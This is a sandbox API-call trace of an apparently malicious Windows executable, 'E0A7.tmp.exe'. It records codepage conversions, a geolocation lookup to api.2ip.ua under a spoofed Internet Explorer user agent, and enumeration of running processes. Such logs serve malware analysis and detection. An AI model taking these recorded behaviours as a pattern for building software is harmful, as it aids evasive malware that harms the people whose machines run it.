¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x18f438, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0087.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fc0c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xe0\x49\xca\x3d\x48\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0087.591] GetLastError () returned 0x0 [0087.591] SetLastError (dwErrCode=0x0) [0087.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd0c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0087.591] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd0c, cbMultiByte=256, lpWideCharStr=0x18f668, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0087.591] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0087.591] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f458, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0087.592] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fb0c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xe0\x49\xca\x3d\x48\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0087.592] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0087.592] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x800) returned 0x724840 [0087.592] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x40c0d7 [0087.592] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x724590) returned 0x80 [0087.592] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x724590) returned 0x80 [0087.592] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x724590) returned 0x80 [0087.593] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x724590) returned 0x80 [0087.593] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x110) returned 0x725048 [0087.593] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x724590) returned 0x80 [0087.593] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x7225b0 [0087.593] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x724590) returned 0x80 [0087.594] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x724590) returned 0x80 [0087.594] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x724590) returned 0x80 [0087.599] RtlSizeHeap (HeapHandle=0x680000, Flags=0x0, MemoryPointer=0x724590) returned 0x80 [0087.599] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0087.663] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x719178 [0087.663] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0088.712] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18c110, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18e910 | out: lpBuffer=0x18c110*, lpdwNumberOfBytesRead=0x18e910*=0x1d1) returned 1 [0088.713] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0088.715] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0088.715] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x730a20 [0088.715] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e0) returned 0x754da0 [0088.715] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x754da0 | out: hHeap=0x680000) returned 1 [0088.715] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x730a20 | out: hHeap=0x680000) returned 1 [0088.715] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x719178 | out: hHeap=0x680000) returned 1 [0088.715] GetCurrentProcess () returned 0xffffffff [0088.715] GetLastError () returned 0x2 [0088.715] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0088.715] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x754810 [0088.715] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x110) returned 0x75aa70 [0088.715] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x800) returned 0x30517d0 [0088.715] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x30517d0, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e0a7.tmp.exe")) returned 0x32 [0088.715] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0088.715] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x810) returned 0x3061ef0 [0088.715] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe\" --Admin IsNotAutoStart IsNotTask" [0088.715] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe\" --Admin IsNotAutoStart IsNotTask", pNumArgs=0x18e9f0 | out: pNumArgs=0x18e9f0) returned 0x305ced8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe" [0088.715] lstrcpyW (in: lpString1=0x18f6a0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe" [0088.715] lstrcmpW (lpString1="IsAutoStart", lpString2="IsNotAutoStart") returned -1 [0088.715] lstrcmpW (lpString1="IsTask", lpString2="IsNotTask") returned 1 [0088.716] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe\" --Admin IsNotAutoStart IsNotTask" [0088.716] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe\" --Admin IsNotAutoStart IsNotTask", pNumArgs=0x18e98c | out: pNumArgs=0x18e98c) returned 0x305ced8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe" [0088.716] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe") returned="E0A7.tmp.exe" [0088.716] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0088.716] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcesses") returned 0x0 [0088.717] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcessModules") returned 0x0 [0088.717] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleBaseNameW") returned 0x0 [0088.717] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x75140000 [0088.718] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcesses") returned 0x75141544 [0088.718] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcessModules") returned 0x75141408 [0088.718] GetProcAddress (hModule=0x75140000, lpProcName="GetModuleBaseNameW") returned 0x7514152c [0088.719] EnumProcesses (in: lpidProcess=0x184188, cb=0xa000, lpcbNeeded=0x18e998 | out: lpidProcess=0x184188, lpcbNeeded=0x18e998) returned 1 [0088.721] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0088.721] CloseHandle (hObject=0x0) returned 0 [0088.721] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.721] CloseHandle (hObject=0x0) returned 0 [0088.721] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0088.721] CloseHandle (hObject=0x0) returned 0 [0088.721] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0088.721] CloseHandle (hObject=0x0) returned 0 [0088.721] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0088.721] CloseHandle (hObject=0x0) returned 0 [0088.721] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0088.721] CloseHandle (hObject=0x0) returned 0 [0088.721] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0088.721] CloseHandle (hObject=0x0) returned 0 [0088.721] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0088.721] CloseHandle (hObject=0x0) returned 0 [0088.721] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0088.721] CloseHandle (hObject=0x0) returned 0 [0088.721] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0088.721] CloseHandle (hObject=0x0) returned 0 [0088.721] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0088.722] CloseHandle (hObject=0x0) returned 0 [0088.722] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0088.722] CloseHandle (hObject=0x0) returned 0 [0088.722] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0088.722] CloseHandle (hObject=0x0) returned 0 [0088.722] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x334) returned 0x0 [0088.722] CloseHandle (hObject=0x0) returned 0 [0088.722] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x36c) returned 0x0 [0088.722] CloseHandle (hObject=0x0) returned 0 [0088.722] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a8) returned 0x0 [0088.722] CloseHandle (hObject=0x0) returned 0 [0088.722] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f8) returned 0x0 [0088.722] CloseHandle (hObject=0x0) returned 0 [0088.722] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x124) returned 0x0 [0088.722] CloseHandle (hObject=0x0) returned 0 [0088.722] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x59c [0088.722] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 0 [0088.722] CloseHandle (hObject=0x59c) returned 1 [0088.722] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x59c [0088.722] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 0 [0088.723] CloseHandle (hObject=0x59c) returned 1 [0088.723] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x480) returned 0x0 [0088.723] CloseHandle (hObject=0x0) returned 0 [0088.723] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4ac) returned 0x59c [0088.723] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 0 [0088.723] CloseHandle (hObject=0x59c) returned 1 [0088.723] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d4) returned 0x0 [0088.723] CloseHandle (hObject=0x0) returned 0 [0088.723] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x50c) returned 0x59c [0088.723] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 0 [0088.723] CloseHandle (hObject=0x59c) returned 1 [0088.723] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5f4) returned 0x0 [0088.723] CloseHandle (hObject=0x0) returned 0 [0088.723] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x440) returned 0x59c [0088.723] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0088.724] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x1270000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="hk forest representatives.exe") returned 0x1d [0088.725] CloseHandle (hObject=0x59c) returned 1 [0088.725] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7d8) returned 0x59c [0088.725] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0088.726] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xb80000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="highway long.exe") returned 0x10 [0088.726] CloseHandle (hObject=0x59c) returned 1 [0088.726] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x184) returned 0x59c [0088.726] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 